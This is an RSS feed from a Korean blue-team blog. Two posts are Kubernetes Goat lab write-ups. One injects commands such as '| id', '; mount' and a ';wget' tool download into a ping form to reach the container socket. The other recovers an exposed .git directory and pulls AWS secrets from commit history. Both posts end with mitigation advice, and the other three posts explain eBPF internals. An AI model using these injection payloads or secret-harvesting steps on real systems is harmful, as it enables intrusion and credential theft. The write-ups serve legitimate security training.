<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>_sychoii.log</title>
        <link>https://velog.io/</link>
        <description>Blue Team</description>
        <lastBuildDate>Mon, 20 Apr 2026 13:13:14 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <copyright>Copyright (C) 2019. _sychoii.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/_sychoii" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[[K8s-goat] DIND (docker-in-docker) exploitation]]></title>
            <link>https://velog.io/@_sychoii/K8s-goat-DIND-docker-in-docker-exploitation</link>
            <guid>https://velog.io/@_sychoii/K8s-goat-DIND-docker-in-docker-exploitation</guid>
            <pubDate>Mon, 20 Apr 2026 13:13:14 GMT</pubDate>
            <description><![CDATA[<h2 id="문제">문제</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/d45a71ed-59fd-4112-a90f-307b0d6202be/image.png" alt=""></p>
<p>이번 문제는 컨테이너 내부에서 호스트 시스템의 컨테이너 런타임 소켓에 접근할 수 있을 때 발생하는 보안 위험에 대해 다루고 있다.
<strong>DIND(Docker In Docker)</strong> 방식은 개발 편의성과 CI/CD 구성의 단순함 때문에 과거부터 널리 사용되어 왔다. 하지만 클라우드 네이티브 환경에서 호스트 소켓을 공유하는 행위는 컨테이너의 근본적인 격리 원칙에 위배된다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/40d62277-c846-4a54-b111-18614b55cf06/image.png" alt=""></p>
<p>문제에서 확인할 수 있는 웹 사이트는 위와 같다. &quot;Ping Your Severs&quot;라고 되어 있는 것으로 보아 특정 IP로 Ping을 보낼 수 있는 것 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/83249d4c-82f5-49cd-9247-e5cc2460165b/image.png" alt=""></p>
<p>127.0.0.1을 입력하고 Submit 버튼을 누르면 아래와 같이 Ping을 수행한 결과를 확인할 수 있다. 일반적으로 터미널에서 ping을 보내는 것과 다를게 없다. 그럼 <strong>RCE(Remote Commend Execution)</strong>가 가능하지 않을까?</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/0906fadf-6ba6-41c3-a734-ccc9666a04c0/image.png" alt=""></p>
<p><code>| id</code> 명령을 입력하고 Submit을 눌렀더니 실제 <code>id</code> 명령을 수행했을 때의 결과와 같은 결과를 확인할 수 있었다. 즉, 원격으로 명령어를 실행하는 것이 가능하다는 것을 알 수 있었다. 이제 해당 시스템에 마운트 되어 있는 파일에 대한 정보를 확인 해보자.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/257e9b95-bf26-4383-8444-ba491d2c8e33/image.png" alt=""></p>
<p><code>; mount</code> 명령을 입력해서 실행한 결과 위와 같은 결과를 확인할 수 있다. <code>(rw,relatime,errors=remount-ro)</code>는 마운트 지점에 적용된 옵션으로 읽기와 쓰기가 가능하다는 것이고, 에러가 발생하면 remout한다는 것이다. <code>tmpfs</code>는 메모리 기반의 임시 파일 시스템이고 <code>/run/containerd/containerd.sock</code> 컨테이너 통신 소켓을 읽기 전용으로 마운트 했다는 것을 알 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a69bbbbe-cb1a-4b94-82e7-644354aa30c5/image.png" alt=""></p>
<p><code>crictl</code>이라는 K8s 환경에서 컨테이너 런타임과 상호작용을 위한 cli 도구를 내부에 받고, 이를 활용해서 내부 정보를 확인 해보자.</p>
<pre><code class="language-bash"># crictl 다운로드 (aarch64)
;wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz -O /tmp/crictl-v1.27.1.tar.gz

# 압축 해제
;tar -xvf /tmp/crictl-v1.27.1.tar.gz -C /tmp/</code></pre>
<p><code>crictl</code> 바이너리를 다운로드 받고 명령어를 실행하면 Container 이미지에 대한 정보들을 확인할 수 있고, 이를 통해 권한 상승, 컨테이너 소캣을 활용한 컨테이너 탈출 등 다양한 공격이 가능하다.</p>
<h2 id="권고사항">권고사항</h2>
<p>해당 문제에서 발생하고 있는 취약점을 방지하기 위해 <strong>인프라</strong>, <strong>시스템 및 런타임</strong>, <strong>어플리케이션</strong> 세 가지 측면에서 보안 권고 사항을 작성 해보겠다.</p>
<h3 id="인프라">인프라</h3>
<ol>
<li><p>호스트 소켓 마운트 금지
<code>/var/run/docker.sock</code> 또는 <code>containerd.sock</code>과 같은 호스트의 컨테이너 런타임 소켓을 컨테이너 내부에 마운트하지 않아야 한다.
이는 컨테이너가 호스트의 컨테이너 엔진에 명령을 내릴 수 있게 허용하여, 사실상 <strong>호스트 노드에 대한 루트 권한을 부여</strong>하는 것과 같다.</p>
</li>
<li><p>특권모드 비활성화</p>
</li>
</ol>
<p><strong>Pod</strong>의 <strong>securityContext</strong>에서 <code>privileged: true</code> 설정을 사용하지 않아야 한다. 특권 컨테이너는 호스트의 모든 장치에 접근할 수 있어 탈출 공격에 노출될 위험이 높아진다.</p>
<h3 id="시스템-및-런타임">시스템 및 런타임</h3>
<ol>
<li><p>비루트(Non-root) 사용자 실행
컨테이너 내부 프로세스를 루트 권한이 아닌 <strong>일반 사용자 권한으로 실행</strong>해야 한다. 만약 소켓이 마운트되어 있더라도, 일반 사용자 권한으로는 소켓 파일에 대한 <strong>읽기/쓰기 권한이 제한</strong>되어 공격을 지연시킬 수 있습니다.</p>
</li>
<li><p>커널레벨 런타임 보안 도구 활용</p>
</li>
</ol>
<p><strong>Falco</strong>나 <strong>Tetragon</strong>과 같은 도구를 사용하여 컨테이너 내부에서 발생하는 비정상적인 소켓 파일 접근, 특정 바이너리(crictl, docker 등)의 실행, 또는 민감한 파일 수정을 실시간으로 탐지하고 차단한다.</p>
<h3 id="어플리케이션">어플리케이션</h3>
<ol>
<li>입력값 검증 및 명령어 주입 방지
시나리오에서 발생한 최초 침투 경로는 <strong>Command Injection</strong>이다. 애플리케이션 단계에서 사용자 입력값을 엄격히 검증하고, 시스템 명령어를 직접 호출하는 로직을 지양해야 한다.</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[[K8s-goat] Sensitive keys in codebases]]></title>
            <link>https://velog.io/@_sychoii/K8s-goat-Sensitive-keys-in-codebases</link>
            <guid>https://velog.io/@_sychoii/K8s-goat-Sensitive-keys-in-codebases</guid>
            <pubDate>Mon, 13 Apr 2026 09:53:57 GMT</pubDate>
            <description><![CDATA[<h2 id="문제">문제</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/933daefb-a2bb-4c1a-98a8-74ccfb6f9179/image.png" alt=""></p>
<p>서비스 개발시에 배포 전에 서비스 코드 또는 Commit 기록에 <strong>Password, Secret과 같은 민감 정보</strong>를 지우지 않고 배포하는 경우가 있음. 해당 문제는 이러한 취약점을 찾아내는 문제다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/9a5ee5af-84ac-444c-8b11-6a250b6c4e42/image.png" alt=""></p>
<p>문제 설명에 <strong>Git, Docker, AWS</strong> 등으로 CI/CD 파이프라인을 구성했고, 배포 했다고 한다.</p>
<h2 id="풀이-1">풀이 1</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/bbe8929f-e4c0-4a24-b80a-5bd41138a5ee/image.png" alt=""></p>
<p>git config 정보들을 <code>/.git/config</code> 엔드포인트에서 확인할 수 있다. 이는 웹서버에 <code>.git</code>이 노출되어 있음을 의미한다.
해당 내용을 살펴보면 <code>logallrefupdates</code> 옵션이 true 값으로 설정 되어 있으므로, 변경사항이 <code>.git/logs/</code>에 기록됨을 알 수 있다. 따라서 <strong>git-dumper</strong>를 활용하여 <code>.git</code> 정보를 이용해서 소스코드를 복구 해보도록 하겠다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/7fb4eae7-0341-45ac-a386-b29cfbcbd59f/image.png" alt=""></p>
<pre><code class="language-bash">git-dumper {url} {저장할 디렉터리}</code></pre>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/0f640b88-bf6d-4ce0-8bd1-dec66f6006e7/image.png" alt=""></p>
<p>위와 같이 복구한 소스코드를 확인할 수 있다. 이제 <strong>commit 기록</strong>을 보기 위해 <code>git log</code> 명령을 수행하자.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/f4d4ea12-5909-463d-bd83-b9236bf61fbb/image.png" alt=""></p>
<p><strong>git log</strong>를 보면 commit 기록을 확인할 수 있다. commit hash값도 있기 때문에 git checkout 명령으로 해당 내용들을 알아보도록 하겠다.
총 7개 Commit 중 위에서 네 번째 Commit의 message를 보면 <strong>&quot;Inlcuded custom environmental variables&quot;</strong> 라고 되어 있고, 환경변수 값을 포함하고 업데이트 했다는 것을 알 수 있다.</p>
<p>개발 편의성을 위해 <strong>환경변수 또는 file</strong>로 민감 정보를 하드코딩하여 발생하는 문제들이 많기 때문에 해당 커밋에 대해 더 자세하게 보도록 하겠다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/d5e3490b-b047-43f0-a624-763ca9669ecb/image.png" alt=""></p>
<pre><code class="language-bash">git checkout d7c173ad183c574109cd5c4c648ffe551755b576</code></pre>
<p>경고 메세지가 발생했지만 해당 commit 시점으로 이동이 완료됐음을 알 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a9e31f8f-b66a-4e42-b7d5-5ddbb2970e66/image.png" alt=""></p>
<p>이전과 달리 <code>ls -al</code> 명령을 수행했을 때 <code>.env</code> 파일이 생성됐음을 알 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/2782b7f2-53a3-4145-8373-e9fb739b9b6d/image.png" alt=""></p>
<p>해당 파일을 보면 aws 시크릿과 해당 문제의 flag를 흭득할 수 있다.</p>
<h2 id="풀이-2">풀이 2</h2>
<p>두 번째 풀이는 해당 문제가 운영되는 pod에 접속해서 풀이 해봤다. <code>build-code-deployment</code> pod에 접속하면 아래와 같이 첫 번째 풀이와 같이 디렉터리 정보를 확인할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/5632fa4d-996a-4bd0-a8c5-765b900d1fd2/image.png" alt=""></p>
<p><code>.git</code> 디렉터리에 <code>HEAD</code> 파일을 읽어보면 아래와 같이 Commit 기록을 확인할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a08bffb9-4f37-417c-ab68-c24e9393a6b4/image.png" alt=""></p>
<p>해당 풀이에선 <strong>trufflehog</strong>라는 도구를 활용할 것이다. <strong>trufflehog</strong>는 하드코딩 된 민감 정보를 스캔하는 도구다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/7e9f5bf5-5fec-4bae-bba7-baae52fe7809/image.png" alt=""></p>
<p><code>trufflehog .</code> 명령으로 스캔을 하면 첫 번째 풀이와 마찬가지로 aws 접근 키, 시크릿, 해당 문제의 flag를 취득할 수 있다.</p>
<h2 id="권고-사항">권고 사항</h2>
<ol>
<li><p><strong>민감 정보 하드코딩 금지</strong>
인프라 접근 키, Secret과 같은 민감 정보는 환경변수, 파일에 하드코딩 하여 관리하는 것이 아닌 <strong>Harshcorp Valut</strong>, <strong>AWS Secret Manager</strong> 등과 같은 Credential 관리 서비스를 도입하여 관리 해야한다.</p>
</li>
<li><p><strong>gitignore 활용</strong>
배포시에 민감한 정보가 담긴 파일을 <strong>gitignore</strong> 기능을 활용하여 제외 해야한다.</p>
</li>
<li><p><strong>배포 전 스캐닝 도구를 통한 검사 수행</strong>
앞선 풀이에서 활용한 <strong>trufflehog</strong>와 같은 스캐닝 도구를 활용하여 민감 정보가 담겨 있는지 먼저 확인 해야한다.</p>
</li>
<li><p><strong>민감 정보 수명 설정</strong>
민감 정보의 수명 설정을 통해 해당 정보가 유출되더라도 유출된 정보로 접근할 수 없도록 한다.</p>
</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[동시성]]></title>
            <link>https://velog.io/@_sychoii/%EB%8F%99%EC%8B%9C%EC%84%B1</link>
            <guid>https://velog.io/@_sychoii/%EB%8F%99%EC%8B%9C%EC%84%B1</guid>
            <pubDate>Tue, 24 Mar 2026 05:26:49 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p>Kernel Level에서 동작하는 <strong>eBPF Program</strong>들이 수집한 정보를 <strong>eBPF Map</strong>에 저장하여 <strong>상태를 공유</strong>한다고 했다. eBPF Program이 정보를 수집하고 Map에 기록할 때 복수의 프로그램이 공유 자원에 접근을 시도하면 <strong>Race Condition</strong>, <strong>Dead Lock</strong>과 같은 상황에 놓일 수 있는데, 이번 포스트에선 이러한 문제를 어떻게 해결하는지 정리 해보도록 하겠다.</p>
<blockquote>
<h4 id="ebpf-map">eBPF Map</h4>
<p><a href="https://velog.io/@_sychoii/eBPF-Map%EC%9D%B4%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80">eBPF Map</a>에 대해 정리한 포스트입니다.</p>
</blockquote>
<h2 id="atomic-operation">Atomic Operation</h2>
<p><strong>Atomic Operation</strong>은 멀티 스레드 환경에서 데이터 무결성 유지를 위한 연산이다. 예를 들어 일반적인 연산은 초기 <code>i</code> 값이 있고 1을 더하는 연산을 하면 <code>i+1</code>을 반환하는 형식이다. 하지만 <strong>Atomic Operation</strong>을 통한 연산을 수행하면 같은 연산을 해도 <code>i</code>라는 초기값이 그대로 반환된다.</p>
<p><strong>Atomic Operation</strong>은 외부에서 아예 시작되지 않은 것처럼 보여야하고, 연산이 수행되는 동안 <strong>Interrupt</strong>나 <strong>Context Switching</strong>에 의해 중단되지 않는다는 특성을 갖는다. 이를 통해 여러 Program이 연산을 동시에 수행할 수 있는 것이다. 이런 연산은 다음과 같은 함수들을 이용해서 수행할 수 있다.</p>
<ul>
<li><code>__sync_fetch_and_add(*a, b)</code>
주소 <code>a</code> 에서 값을 읽어와 <code>b</code> 를 더한 후 <code>a</code> 위치의 원래 값을 반환</li>
<li><code>__sync_fetch_and_sub(*a, b)</code>
위에서 add 함수와 마찬가지로 동작하고 뺄셈 연산</li>
<li><code>__sync_fetch_and_or(*a, b)</code>
주소 <code>a</code>의 값을 읽고, 여기에 특정 숫자를 비트 OR 연산한 뒤 다시 저장하며, 원래 a 값을 반환</li>
<li><code>__sync_fetch_and_xor(*a, b)</code>
주소 <code>a</code>의 값을 읽고, 특정 숫자를 비트 XOR 연산한 뒤 다시 저장하며, 원래 a 값을 반환</li>
<li><code>__sync_val_compare_and_swap(*a, b, c)</code>
주소 <code>a</code>의 값을 읽어 <code>b</code>, <code>c</code>에 대해 swap 연산을 한 뒤 원래 <code>a</code>의 값을 반환</li>
<li><code>__sync_lock_test_and_set(*a, b)</code>
주소 <code>a</code>의 값을 읽어 <code>b</code>로 설정하고 원래 <code>a</code>의 값을 반환</li>
</ul>
<p>위와 같이 공유 자원에 대해 각각의 연산을 수행해도 반환 값은 항상 동일한 값으로 유지되어 무결성이 유지되고, <code>Race Condition</code>과 같은 문제 상황이 발생하지 않는 것이다.</p>
<h2 id="spin-lock">Spin Lock</h2>
<p>동시성을 위한 또다른 해결 방법으로 <strong>Spin Lock</strong> 사용이 있다. <strong>Spin Lock</strong>은 <strong>Semaphore, Mutex</strong>와 같이 상호 배제를 위한 방법으로 공유 자원에 대한 lock을 획득할 때까지 Thread가 멈추지 않고 루프를 돌며(<strong>busy-waiting</strong>) 재시도하는 동기화 기법이다.</p>
<pre><code class="language-c">struct concurrent_element {
    struct bpf_spin_lock semaphore;
    int count;
}

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __type(key, int);
    __type(value, struct concurrent_element);
    __uint(max_entries, 100);
} concurrent_map SEC(&quot;.maps&quot;);</code></pre>
<p>Spin Lock을 사용하려면 먼저 Map 값 맨 위에 <code>struct bpf_spin_lock</code>이 포함되어야 한다.</p>
<pre><code class="language-c">...
    bpf_spin_lock(&amp;read_value-&gt;semaphore);
    read_value-&gt;count += 1;
    bpf_spin_unlock(&amp;read_value-&gt;semaphore);
    return 0;
}</code></pre>
<p>한 번에 두 개 이상의 Lock을 점유할 수 없고, 사용 후에는 <strong>Deadlock</strong> 방지를 위해 반드시 <strong>Lock을 해제</strong> 해야한다. 해제하지 않으면 Verifier에 통과할 수 없게 된다.</p>
<h2 id="cpu-별-map-할당">CPU 별 Map 할당</h2>
<p>이 방법은 각 <strong>logical CPU마다 Map의 복사본을 부여</strong>하는 것이다. 각 CPU에 자체 메모리를 할당하므로 <strong>공유 메모리 접근이 없어</strong> 메모리 접근 동기화 문제를 해결할 수 있다. 하지만 logical CPU가 많아지면 그만큼 <strong>메모리 할당량도 증가</strong>하는 문제가 있다. 또한 할당된 메모리만큼 더 많은 데이터를 읽고 처리해야 하기 때문에 <strong>User Level의 복잡도가 증가</strong>한다.</p>
<h2 id="map-rcuread-copy-update">MAP RCU(Read, Copy, Update)</h2>
<p>이 방법은 Map 값을 직접 수정하는 것이 아니라, 헬퍼 함수를 통해 값을 업데이트 하는 것이다.
<code>bpf_map_lookup_elem</code> 함수를 통해 얻은 포인터를 사용해서 <strong>BPF 스택에 Map 값을 복사해 와서 수정</strong>하고, <code>bpf_map_update_elem</code>을 통해 수정된 <strong>복사본을 호출</strong>하는 방식으로 동작한다.
여러 업데이트가 동시에 발생하면 누락이 될 수 있다는 문제가 있지만 동시성 문제는 해결할 수 있다. 또한, 메모리 복사 과정에서 오버헤드가 존재하지만, <strong>Spin lock</strong> 방식에서 사용하는 <strong>block이나 동기화</strong>를 하지 않기 때문에 값의 크기에 따라 더 효율적일 수 있다.
User Level에서 이뤄지는 Map 업데이트는 이 방식을 따른다.</p>
<h2 id="map-in-map">Map-in-Map</h2>
<p><strong>User Level</strong>에서 Map을 조회할 때는 모든 key 값을 순회 해야한다. 하지만 이런 과정에서 중간에 Map값이 변하는 문제가 발생하게 된다. 이런 문제를 해결하는 <strong>Map-in-Map</strong>은 Map에 대한 <strong>스냅샷</strong> 기능을 제공한다.
Map의 key 값을 담은 외부 Map에서 <strong>내부 Map에 대한 포인터 정보</strong>를 얻어 내부 Map에 <strong>저장된 정보에 접근</strong>한다. 이때 접근 과정에서 값이 변하면 안되므로 <strong>새로운 Map을 생성하여 교체</strong>한다.</p>
<h2 id="마치며">마치며</h2>
<p>공유 자원에 대한 동시성 문제를 어떤 방식들로 해결하는지에 대해 알아봤다. 다음 포스트에선 Pinning에 대해 알아보도록 하겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[eBPF 함수란 무엇인가?]]></title>
            <link>https://velog.io/@_sychoii/eBPF-%ED%95%A8%EC%88%98%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</link>
            <guid>https://velog.io/@_sychoii/eBPF-%ED%95%A8%EC%88%98%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</guid>
            <pubDate>Wed, 18 Mar 2026 12:27:13 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p>eBPF에서 <strong>함수</strong>라고 하는 것은 <strong>eBPF Program</strong>을 뜻하기도 하고, <strong>sub-program</strong>, 앞선 포스트에서 몇 번 언급한 <strong>Helper 함수 등</strong> 여러 가지를 하나로 그냥 함수라고 한다. 이번 포스트에선 함수 호출 규칙과 sub-program 함수 사용에 대한 내용을 정리 해보고자 한다.</p>
<h2 id="함수-호출-규칙">함수 호출 규칙</h2>
<p>먼저, eBPF 함수 호출시 네이티브 시스템(ex. Linux) 함수 호출과 달리 인자 처리 과정에서 메모리 스택을 사용하지 않고 <strong>레지스터에서 값을 처리하고 바로 호출</strong>이 된다. R0 레지스터는 함수의 반환 값, R1 ~ R5 레지스터는 함수 인자 저장에 사용되고 함수 인자 순서대로 각 레지스터에 저장된다. 네이티브 시스템과 달리 메모리 스택을 사용하지 않는 이유는 <strong>Stack Overflow, 포인터 연산 복잡성과 같은 Kernel Level에서 안정성</strong>을 해칠 수 있는 가능성이 존재하기 때문이고, <strong>Verifier의 상태 검사에서 복잡성 증가</strong>, <strong>하드웨어 레지스터 Mapping</strong>을 고려 했을 때 5개로 제한을 한 것이다. </p>
<p>하지만 이러한 제약을 해결하기 위해 간접 참조 방식으로 <strong>구조체</strong>를 사용하여 더 많은 인자를 전달할 수 있다. 인자 값을 저장하는 R1 ~ R5는 함수 호출 후 초기화 되지만 R6 ~ R9 레지스터는 호출된 함수의 값을 저장하는 기능을 하고, 호출된 함수의 값을 저장하여 호출 값이 유지된다. 마지막으로 eBPF Program, sub-program, Helper 함수, kfuncs 등 모든 함수의 호출 규칙은 <strong>eBPF Instruction Set</strong>이 정의한다.</p>
<blockquote>
<h4 id="정리">정리</h4>
</blockquote>
<ul>
<li>함수 호출 규칙 정의 -&gt; eBPF Instruction Set</li>
<li>함수 호출 방식 -&gt; 메모리 스택을 사용하지 않고, 레지스터에서 값을 처리하고 바로 호출</li>
<li>함수 반환값 -&gt; R0 레지스터, 함수 인자값 -&gt; R1 ~ R5(Volatile), 호출된 함수의 값 -&gt; R6 ~ R9(nonVolatile)</li>
<li>함수 반환값은 5개로 제약, but 구조체를 활용해서 간접 참조 방식으로 더 많은 인자 전달 가능</li>
</ul>
<h2 id="sub-program">Sub Program</h2>
<p>Sub Program은 <strong>BPF-to-BPF 함수</strong>라고 한다. <strong>BPF-to-BPF</strong> 함수 호출은 <strong>동일한 프로그램 내에서 로직 재사용</strong>을 가능하게 한다. 이때도 마찬가지로 <strong>최대 5개 인자</strong>를 받을 수 있고, 함수는 새로운 스택 프레임을 할당받아 프로그램 종료 후 해제되어 재사용된다. 여기서 말하는 스택 프레임은 <strong>네이티브 커널의 메모리 스택 프레임</strong>이 아닌 <strong>eBPF 가상머신 전용 스택 영역에서의 스택 프레임</strong>을 의미한다. 또한 스택에 있는 포인터를 인자로 전달하면 해당 스택에 접근할 수 있다.</p>
<h3 id="함수-inlining">함수 Inlining</h3>
<p>함수 Inlining이란 컴파일 과정에서 함수를 호출하는 명령(Call)을 생성하는 대신 함수 body 코드를 호출이 발생하는 위치에 직접 복사해서 넣는 최적화 기법을 말한다. 일반적으로 함수가 호출되는 과정은 <strong>1) 인자값을 레지스터 또는 스택에 배치, 2) 현재 실행 지점(PC)을 저장하고 함수 주소로 점프, 3) 함수 종료 후 원래 위치(주소)로 점프</strong>로 이루어진다. 이 과정에서 오버헤드가 발생하는데, 인라인으로 처리할 경우 이런 과정이 사라져 호출이 발생하는 위치에 함수가 원래 있었던 거처럼 동작한다.
함수 인라인 여부는 <code>__attribute__((always_inline))</code>/<code>__always_inline</code> 또는 <strong>attribute</strong>((noinline))과 같은 인수를 사용하여 함수 인라인 여부를 지정할 수 있다.</p>
<h3 id="검증">검증</h3>
<p>함수 검증을 할 땐 정적 함수(static)와 전역 함수를 다르게 검증한다.</p>
<ul>
<li><strong>정적함수</strong>
C 코드에서 <code>static</code> 키워드가 붙은 함수로, <strong>Verifier</strong>는 이를 호출하는 지점마다 매번 안전성을 다시 확인하는 방식을 채택한다. 이 방식은 호출자가 넘긴 <strong>인자의 구체적인 값 또는 범위</strong>를 알고 있는 상태로 진행하여 함수 내부에서 이 범위를 벗어나는 연산이 없음을 별도 처리없이 증명할 수 있다. 하지만 지난 포스트에서 언급한 상태 폭발 문제가 발생할 수 있다.</li>
<li><strong>전역함수</strong>
전역 함수에 대한 검증은 <strong>함수와 호출 Context를 분리</strong>해서 독립적으로 검증하는 함수별 검증 방식을 채택한다. 전역함수는 프로그램 내 모든 전역 함수를 순서 상관없이 <strong>한 번만 검사</strong>한다. 검증 횟수가 고정되어 <strong>검증 시간과 복잡도가 선형적으로 관리</strong>된다. 하지만 어떤 값이 들어올지 전혀 모르는 상태를 가정하기 때문에 <strong>인자로 들어올 수 있는 모든 값을 고려하여 검사</strong>가 진행된다. 이러한 특성으로 개발자는 함수 내부에서 <strong>인자의 유효 범위를 확인하는 로직을 강제로 추가</strong> 해야한다는 제약 조건이 따른다. 또한, 도입 초기에는 반환값은 숫자(Scalar)로, 인수는 컨텍스트 포인터나 숫자로만 제한한다.</li>
</ul>
<p>정리하면 정적 함수의 검증 방식은 개발 편의성은 높지만 검증으로 인한 시스템 오버헤드가 증가하고, 전역 함수의 검증 방식은 시스템 오버헤드가 낮지만 개발 편의성은 저하되는 결과를 가지고 오기 때문에 상황에 맞게 함수를 작성할 필요가 있다.</p>
<h3 id="tail-call과-함수의-혼합-사용">Tail Call과 함수의 혼합 사용</h3>
<p>Kernel 5.10 이전 버전에서는 eBPF Program 내에서 일반 함수 호출과 Tail Call을 동시에 사용할 수 없었지만 5.10 버전부터 가능해졌다. 하지만 커널 안정성을 위해 몇 가지 제약이 따른다.</p>
<ul>
<li><p><strong>스택 크기 감소 (512 byte -&gt; 256 byte)</strong>
Tail Call은 스택 프레임을 재사용하면서 다음 프로그램을 호출하는데, 일반 함수 내부에서 Tail Call이 발생할 경우 누적 스택 사용량이 커널 스택 한계를 초과하여 시스템 패닉으로 이어질 수 있기 때문에 스택 크기를 감소시켜 안정성을 확보하면서 해당 기능을 사용 가능하게 했다.</p>
</li>
<li><p><strong>Tail Call Counter 전파</strong>
Tail Call과 일반 함수를 혼합해서 사용할 때 Tail Call의 최대 실행 횟수인 32회를 정확히 체크하기 위해 카운터 값을 일반 함수 호출 시에도 레지스터나 특정 슬롯을 통해 계속 전달하도록 했다.</p>
</li>
</ul>
<p>결론적으로 몇 가지 제약이 분명하여 개발시 어려움이 있지만 Tail Call과 일반 함수를 혼합해서 사용 가능하게 하여 확장성과 모듈화를 가능하게 했다.</p>
<h2 id="마치며">마치며</h2>
<p>사실상 함수는 eBPF Program의 개념을 더 심층적으로 알아보고 어떻게 활용할 수 있는지 어떤 제약 조건이 있는지 알 수 있었던 섹션이었다. Tail Call은 지금까지 정리한 내용들에서 지속적으로 나오고 있고, 공식 문서에도 따로 정리 되어 있는만큼 핵심적인 기능인거 같다.
다음 포스트에선 동시성이라는 개념에 대해 정리 해보도록 하겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[eBPF Verifier는 무엇인가?]]></title>
            <link>https://velog.io/@_sychoii/eBPF-Verifier%EB%8A%94-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</link>
            <guid>https://velog.io/@_sychoii/eBPF-Verifier%EB%8A%94-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</guid>
            <pubDate>Mon, 16 Mar 2026 10:05:38 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p>eBPF에 대한 첫 번째 포스트에서 Verifier에 대한 정의와 역할을 간단히 짚어 보았다. 이번 포스트에선 조금 더 심층적으로 Verifier에 대해 다뤄 보려고 한다.</p>
<blockquote>
<h4 id="verifier">Verifier</h4>
<p>eBPF Program이 Hook Point에 부착되어 실행되기 위해 컴파일 되기 전 단계에서 안전성을 검사하는 역할을 수행한다.</p>
</blockquote>
<h2 id="안전성이란-무엇인가">안전성이란 무엇인가?</h2>
<p><strong>Verifier</strong>는 Kernel Level에서 동작하는 eBPF Program이 Kernel에 악영향을 주지 않고 안전하게 동작하는지 검증하는 구성 요소다. 여기서 말하는 악영향이란 <strong>메모리 손상, 민감 정보 유출, 커널 충돌 또는 커널 정지/Deadlock 발생</strong> 등을 말한다.
Verifier는 프로그램이 갖는 가능한 모든 경우의 수를 수학적으로 검사한다. 허용되지 않는 상황은 다음과 같다.</p>
<ul>
<li>프로그램이 항상 <strong>종료</strong>되는가? (무한 루프, 무한 재귀 등 금지)</li>
<li>프로그램이 허용된 영역 외 다른 <strong>임의의 메모리 영역</strong>을 읽는가? (민감 정보 접근)</li>
<li>네트워크 프로그램이 <strong>패킷 범위</strong>를 벗어난 다른 메모리에 접근하는가? (민감 정보 접근)</li>
<li>프로그램 간 <strong>Deadlock</strong> 발생 방지를 위해 보유하고 있는 Lock(Spin Lock)을 해제 하는가?</li>
<li>프로그램이 <strong>초기화 되지 않은 메모리</strong>에 대한 읽기를 수행하는가?</li>
</ul>
<p>대표적으로 Verifier가 검사하는 항목의 예시이고 외에도 프로그램 유형별로 추가 규칙 등이 있다. 정리 해보면 작성된 <strong>eBPF Program</strong>이 <strong>Kernel Level의 안정성</strong>을 훼손할만한 동작을 가지고 있는지 검사하는 것이다.</p>
<h2 id="verifier의-분석-과정">Verifier의 분석 과정</h2>
<p>앞서 Verifier는 프로그램이 갖는 가능한 모든 경우의 수를 수학적으로 검사한다고 했다. 이때 가장 먼저 하는 것이 eBPF Program 코드를 <strong>순회</strong>하면서 분기 명령어를 기반으로 <strong>Graph</strong>를 구성하는 것이다.
Graph 구성을 통해 <strong>Entry Point</strong>에서 시작해서 실행 흐름을 분석했을 때 <strong>어떤 경로로도 실행될 수 없다면</strong> 모두 거부한다. 예를 들어 <code>return</code> 뒤에 어떤 코드가 있다면 거부한다는 뜻이다.
실행될 수 없는 코드를 <strong>&quot;Dead Code&quot;</strong>라고 하는데 이들은 실행되지 않더라도 커널 메모리 공간을 차지하게 되는데, <strong>해당 영역으로 Jump하여 악성 체인</strong>을 만들수도 있고, 커널의 다른 취약점을 이용하여 <strong>Code Reuse Attack</strong>과 같은 실행 흐름을 강제로 돌리는 공격을 수행할 수 있기 때문이다.</p>
<blockquote>
<h4 id="code-reuse-attack">Code Reuse Attack</h4>
<p>정상적인 코드 조각(Gadget)을 재조립하여 원하는 행위를 수행하도록 하는 공격 기법</p>
</blockquote>
